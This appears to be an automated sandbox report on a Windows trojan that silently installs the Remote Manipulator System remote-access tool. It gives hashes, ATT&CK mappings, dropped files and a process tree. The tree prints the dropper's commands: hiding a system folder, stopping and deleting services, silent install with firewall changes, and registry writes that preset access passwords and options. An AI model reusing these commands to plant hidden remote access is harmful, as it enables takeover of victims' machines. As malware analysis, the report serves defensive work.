rms | 30b34e5de6710c83d8c122a19f956631fd77811d1356fa79ea15fb0f38cd9ab1

Analysis

max time kernel
147s
max time network
173s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
26/11/2022, 20:45

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General

Target

30b34e5de6710c83d8c122a19f956631fd77811d1356fa79ea15fb0f38cd9ab1.exe
Size

3.4MB
MD5

d57e091a472b140ee5855b6dc1b6106d
SHA1

66e08ad7ce96b87a85c9eff0e92ec1d146f3ac3b
SHA256

30b34e5de6710c83d8c122a19f956631fd77811d1356fa79ea15fb0f38cd9ab1
SHA512

3aa8460eb00a1885c6b98afebcafdedf2167aa857ee13255cdfb8b9a6bc2c9f4147c050c03b5f4fff96ebbb937d3d090d3ee2f75da172d93d88adc8457bab619
SSDEEP

49152:q3E8sLd3hrsM0diRoh88V+5UEFCIyaLmSQQCwKGyd/l+V44vOu81iDbOxWT+sN03:rLVSvdWom5hCdwKGi/gV4oOupXQL4ZY

Score

10^/10

rms evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Executes dropped EXE 7 IoCs

pid	Process
1712	rutserv.exe
1244	rutserv.exe
1428	rutserv.exe
876	rutserv.exe
1776	rfusclient.exe
1820	rfusclient.exe
1936	rfusclient.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
1316	attrib.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1352-55-0x0000000000400000-0x000000000078A000-memory.dmp	upx
behavioral1/memory/1352-79-0x0000000000400000-0x000000000078A000-memory.dmp	upx

Loads dropped DLL 2 IoCs

pid	Process
1240	cmd.exe
876	rutserv.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File created	C:\Windows\spom\15971.bat	cmd.exe
File opened for modification	C:\Windows\spom\vp8decoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmmux.dll	cmd.exe
File created	C:\Windows\spom\webmvorbisdecoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmvorbisencoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\15971.bat	cmd.exe
File created	C:\Windows\spom\rfusclient.exe	cmd.exe
File created	C:\Windows\spom\rutserv.exe	cmd.exe
File created	C:\Windows\spom\webmmux.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmvorbisdecoder.dll	cmd.exe
File created	C:\Windows\spom\webmvorbisencoder.dll	cmd.exe
File opened for modification	C:\Windows\spom	attrib.exe
File opened for modification	C:\Windows\spom\rfusclient.exe	cmd.exe
File opened for modification	C:\Windows\spom\rutserv.exe	cmd.exe
File created	C:\Windows\spom\vp8encoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\vp8encoder.dll	cmd.exe
File created	C:\Windows\spom\vp8decoder.dll	cmd.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2020	sc.exe
2004	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1712	rutserv.exe
1712	rutserv.exe
1712	rutserv.exe
1712	rutserv.exe
1244	rutserv.exe
1244	rutserv.exe
1428	rutserv.exe
1428	rutserv.exe
876	rutserv.exe
876	rutserv.exe
876	rutserv.exe
876	rutserv.exe
1820	rfusclient.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
1936	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1712	rutserv.exe
Token: SeDebugPrivilege	1428	rutserv.exe
Token: SeTakeOwnershipPrivilege	876	rutserv.exe
Token: SeTcbPrivilege	876	rutserv.exe
Token: SeTcbPrivilege	876	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1712	rutserv.exe
1244	rutserv.exe
1428	rutserv.exe
876	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 1240	1352	30b34e5de6710c83d8c122a19f956631fd77811d1356fa79ea15fb0f38cd9ab1.exe	27
PID 1352 wrote to memory of 1240	1352	30b34e5de6710c83d8c122a19f956631fd77811d1356fa79ea15fb0f38cd9ab1.exe	27
PID 1352 wrote to memory of 1240	1352	30b34e5de6710c83d8c122a19f956631fd77811d1356fa79ea15fb0f38cd9ab1.exe	27
PID 1352 wrote to memory of 1240	1352	30b34e5de6710c83d8c122a19f956631fd77811d1356fa79ea15fb0f38cd9ab1.exe	27
PID 1240 wrote to memory of 2040	1240	cmd.exe	29
PID 1240 wrote to memory of 2040	1240	cmd.exe	29
PID 1240 wrote to memory of 2040	1240	cmd.exe	29
PID 1240 wrote to memory of 2040	1240	cmd.exe	29
PID 2040 wrote to memory of 1096	2040	net.exe	30
PID 2040 wrote to memory of 1096	2040	net.exe	30
PID 2040 wrote to memory of 1096	2040	net.exe	30
PID 2040 wrote to memory of 1096	2040	net.exe	30
PID 1240 wrote to memory of 848	1240	cmd.exe	31
PID 1240 wrote to memory of 848	1240	cmd.exe	31
PID 1240 wrote to memory of 848	1240	cmd.exe	31
PID 1240 wrote to memory of 848	1240	cmd.exe	31
PID 848 wrote to memory of 1744	848	net.exe	32
PID 848 wrote to memory of 1744	848	net.exe	32
PID 848 wrote to memory of 1744	848	net.exe	32
PID 848 wrote to memory of 1744	848	net.exe	32
PID 1240 wrote to memory of 2020	1240	cmd.exe	33
PID 1240 wrote to memory of 2020	1240	cmd.exe	33
PID 1240 wrote to memory of 2020	1240	cmd.exe	33
PID 1240 wrote to memory of 2020	1240	cmd.exe	33
PID 1240 wrote to memory of 2004	1240	cmd.exe	34
PID 1240 wrote to memory of 2004	1240	cmd.exe	34
PID 1240 wrote to memory of 2004	1240	cmd.exe	34
PID 1240 wrote to memory of 2004	1240	cmd.exe	34
PID 1240 wrote to memory of 912	1240	cmd.exe	35
PID 1240 wrote to memory of 912	1240	cmd.exe	35
PID 1240 wrote to memory of 912	1240	cmd.exe	35
PID 1240 wrote to memory of 912	1240	cmd.exe	35
PID 1240 wrote to memory of 1316	1240	cmd.exe	36
PID 1240 wrote to memory of 1316	1240	cmd.exe	36
PID 1240 wrote to memory of 1316	1240	cmd.exe	36
PID 1240 wrote to memory of 1316	1240	cmd.exe	36
PID 1240 wrote to memory of 1712	1240	cmd.exe	37
PID 1240 wrote to memory of 1712	1240	cmd.exe	37
PID 1240 wrote to memory of 1712	1240	cmd.exe	37
PID 1240 wrote to memory of 1712	1240	cmd.exe	37
PID 1240 wrote to memory of 1244	1240	cmd.exe	38
PID 1240 wrote to memory of 1244	1240	cmd.exe	38
PID 1240 wrote to memory of 1244	1240	cmd.exe	38
PID 1240 wrote to memory of 1244	1240	cmd.exe	38
PID 1240 wrote to memory of 1088	1240	cmd.exe	39
PID 1240 wrote to memory of 1088	1240	cmd.exe	39
PID 1240 wrote to memory of 1088	1240	cmd.exe	39
PID 1240 wrote to memory of 1088	1240	cmd.exe	39
PID 1240 wrote to memory of 584	1240	cmd.exe	40
PID 1240 wrote to memory of 584	1240	cmd.exe	40
PID 1240 wrote to memory of 584	1240	cmd.exe	40
PID 1240 wrote to memory of 584	1240	cmd.exe	40
PID 1240 wrote to memory of 592	1240	cmd.exe	41
PID 1240 wrote to memory of 592	1240	cmd.exe	41
PID 1240 wrote to memory of 592	1240	cmd.exe	41
PID 1240 wrote to memory of 592	1240	cmd.exe	41
PID 1240 wrote to memory of 1520	1240	cmd.exe	42
PID 1240 wrote to memory of 1520	1240	cmd.exe	42
PID 1240 wrote to memory of 1520	1240	cmd.exe	42
PID 1240 wrote to memory of 1520	1240	cmd.exe	42
PID 1240 wrote to memory of 1140	1240	cmd.exe	43
PID 1240 wrote to memory of 1140	1240	cmd.exe	43
PID 1240 wrote to memory of 1140	1240	cmd.exe	43
PID 1240 wrote to memory of 1140	1240	cmd.exe	43

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1316	attrib.exe

C:\Users\Admin\AppData\Local\Temp\30b34e5de6710c83d8c122a19f956631fd77811d1356fa79ea15fb0f38cd9ab1.exe
"C:\Users\Admin\AppData\Local\Temp\30b34e5de6710c83d8c122a19f956631fd77811d1356fa79ea15fb0f38cd9ab1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\565B.tmp\15971.bat" "
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\SysWOW64\net.exe
    net stop netaservice
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop netaservice
      4⤵
      PID:1096
- - C:\Windows\SysWOW64\net.exe
    net stop rmanservice
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:848
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop rmanservice
      4⤵
      PID:1744
- - C:\Windows\SysWOW64\sc.exe
    sc delete netaservice
    3⤵
    - Launches sc.exe
    PID:2020
- - C:\Windows\SysWOW64\sc.exe
    sc delete rmanservice
    3⤵
    - Launches sc.exe
    PID:2004
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
    3⤵
    PID:912
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\Windows\spom"
    3⤵
    - Sets file to hidden
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:1316
- - C:\Windows\spom\rutserv.exe
    "rutserv.exe" /silentinstall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1712
- - C:\Windows\spom\rutserv.exe
    "rutserv.exe" /firewall
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1244
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "notification" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e002000760065007200730069006f006e003d0022003500360030003000360022003e003c007500730065003e0074007200750065003c002f007500730065003e003c0065006d00610069006c003e0061006200620079006100620062006f006e0040006d00610069006c002e00720075003c002f0065006d00610069006c003e003c00690064003e007b00300043003600450041004100310030002d0033003100380033002d0034004600330035002d0039003200430038002d003200330038003300330039004200300037003100460039007d003c002f00690064003e003c00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e0074007200750065003c002f00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e003c00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e00660061006c00730065003c002f00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e003c00730065006e0074003e00660061006c00730065003c002f00730065006e0074003e003c00760065007200730069006f006e003e00350036003000300036003c002f00760065007200730069006f006e003e003c007000750062006c00690063005f006b00650079005f006d003e003c002f007000750062006c00690063005f006b00650079005f006d003e003c007000750062006c00690063005f006b00650079005f0065003e003c002f007000750062006c00690063005f006b00650079005f0065003e003c00700061007300730077006f00720064003e003c002f00700061007300730077006f00720064003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c0064006900730063006c00610069006d00650072003e003c002f0064006900730063006c00610069006d00650072003e003c002f0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e003e000d000a00
    3⤵
    PID:1088
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "UserAccess" /t REG_BINARY /d
    3⤵
    PID:584
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Password" /t REG_BINARY /d 38003900440043004100460043003500460042003900450044004200380041003800370030003400350033003600390033003300350037003700340030003800440031003700410036003500390036003400390033003800460033004100340035003400380036003200370030003100310037004600420036003300390041003700350043004300310039004400360046003400380030003000460030003700320037003900370036004200370030004300420041003800340037003700390034003900300034003600450033003400360034003600350030004300430045004100410045003800390046004100430030003500390037004600390032003400
    3⤵
    PID:592
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "InternetId" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d00310036004c00450022003f003e000d000a003c0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073002000760065007200730069006f006e003d0022003600300030003000340022003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e00660061006c00730065003c002f007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e003c0069006e00650074005f007300650072007600650072003e003c002f0069006e00650074005f007300650072007600650072003e003c007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e00660061006c00730065003c002f007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e003c0069006e00650074005f00690064005f0070006f00720074003e0035003600350035003c002f0069006e00650074005f00690064005f0070006f00720074003e003c007500730065005f0069006e00650074005f00690064005f0069007000760036003e00660061006c00730065003c002f007500730065005f0069006e00650074005f00690064005f0069007000760036003e003c002f0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073003e000d000a00
    3⤵
    PID:1520
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Options" /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403121614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c084869646553746f70080c497046696c746572547970650202105573654c656761637943617074757265081750726f7465637443616c6c6261636b53657474696e6773081550726f74656374496e6574496453657474696e6773080f446f4e6f7443617074757265524450080755736549507636091141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c655265676973747279080d44697361626c65415643686174081544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67080a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e64080c4e6f7469667950616e656c5802ff0c4e6f7469667950616e656c5902ff064c6f6755736508055369644964061034323030392e37343435313730303233084c6963656e73657306ae524d532d462d62366665664645334436363231346539363944333744396163653235423032366269593253326459586c52664477776e4932314758554a4544683945586d78785030594756304a5856513066506a6c74446c46564467594841514271664738645556554f446c5246446d42346667494e4841494341514a76594878704141734c4141734d486c516d63323952566b554f41677765557a773562513458576c564c623168654e434a740d50726f787953657474696e67731428010000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d31364c45223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223630303034223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a1144697361626c65496e7465726e65744964080b536166654d6f6465536574080000
    3⤵
    PID:1140
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "FUSClientPath" /t REG_SZ /d "C:\Program Files\Remote Manipulator System - Host\rfusclient.exe"
    3⤵
    PID:1480
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "CalendarRecordSettings" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003600300030003000340022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a00
    3⤵
    PID:1824
- - C:\Windows\spom\rutserv.exe
    "rutserv.exe" /start
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1428

C:\Windows\spom\rutserv.exe
C:\Windows\spom\rutserv.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:876
- C:\Windows\spom\rfusclient.exe
  C:\Windows\spom\rfusclient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1820
- - C:\Windows\spom\rfusclient.exe
    C:\Windows\spom\rfusclient.exe /tray
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: SetClipboardViewer
    PID:1936
- C:\Windows\spom\rfusclient.exe
  C:\Windows\spom\rfusclient.exe /tray
  2⤵
  - Executes dropped EXE
  PID:1776

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\565B.tmp\15971.bat

Filesize
10KB

MD5
022f6346a5e9fcabf7059042571780a8

SHA1
737fb406af331f1c05404eda25525cea59584e98

SHA256
b08b5b93637b4f2bd6ae0e43ec52069c88087272d238a860df9353f51d1f6e86

SHA512
f35c2bdaa99493010a52818faab76e84f6411619f16f5ab3ee38f6c68d22cfdbb2b9d0314f13cc9adef4f29c4bb1eb84d808b0db2ea918e8141bef3ae2cdfc9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\565B.tmp\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\565B.tmp\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Users\Admin\AppData\Local\Temp\565B.tmp\vp8decoder.dll

Filesize
127KB

MD5
bda3c03c3e5d65922a311009e0ae8cd6

SHA1
37093c457ac5f01649b4d23a3d075a531af08baa

SHA256
30dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290

SHA512
eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\565B.tmp\vp8encoder.dll

Filesize
238KB

MD5
200cba4b9cbdd64f1a281b89cd1467f3

SHA1
fc3ccf8d57efcdc0d22b61ff6e49798d551a9118

SHA256
c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e

SHA512
15a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\565B.tmp\webmmux.dll

Filesize
90KB

MD5
aa78ed008f72533c7136bf6d4bddb0d0

SHA1
2e9abd74e615adc99f561cbdbe6067dfd81a406a

SHA256
41e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11

SHA512
e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021

Download Submit
C:\Users\Admin\AppData\Local\Temp\565B.tmp\webmvorbisdecoder.dll

Filesize
141KB

MD5
0867a260483876336a727cf9f2928b13

SHA1
3c8c59bfba6ed2aeef35c0d1fc4689683df1e660

SHA256
cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207

SHA512
b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f

Download Submit
C:\Users\Admin\AppData\Local\Temp\565B.tmp\webmvorbisencoder.dll

Filesize
202KB

MD5
43adc4acd56c56b0a25664954c7aa80c

SHA1
d9085625b4a39b3969db8047ad3224b3fc9f60fc

SHA256
0e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918

SHA512
346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515

Download Submit
C:\Windows\spom\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rfusclient.exe

Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe

Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\vp8decoder.dll

Filesize
127KB

MD5
bda3c03c3e5d65922a311009e0ae8cd6

SHA1
37093c457ac5f01649b4d23a3d075a531af08baa

SHA256
30dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290

SHA512
eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b

Download Submit
C:\Windows\spom\vp8encoder.dll

Filesize
238KB

MD5
200cba4b9cbdd64f1a281b89cd1467f3

SHA1
fc3ccf8d57efcdc0d22b61ff6e49798d551a9118

SHA256
c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e

SHA512
15a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3

Download Submit
C:\Windows\spom\webmmux.dll

Filesize
90KB

MD5
aa78ed008f72533c7136bf6d4bddb0d0

SHA1
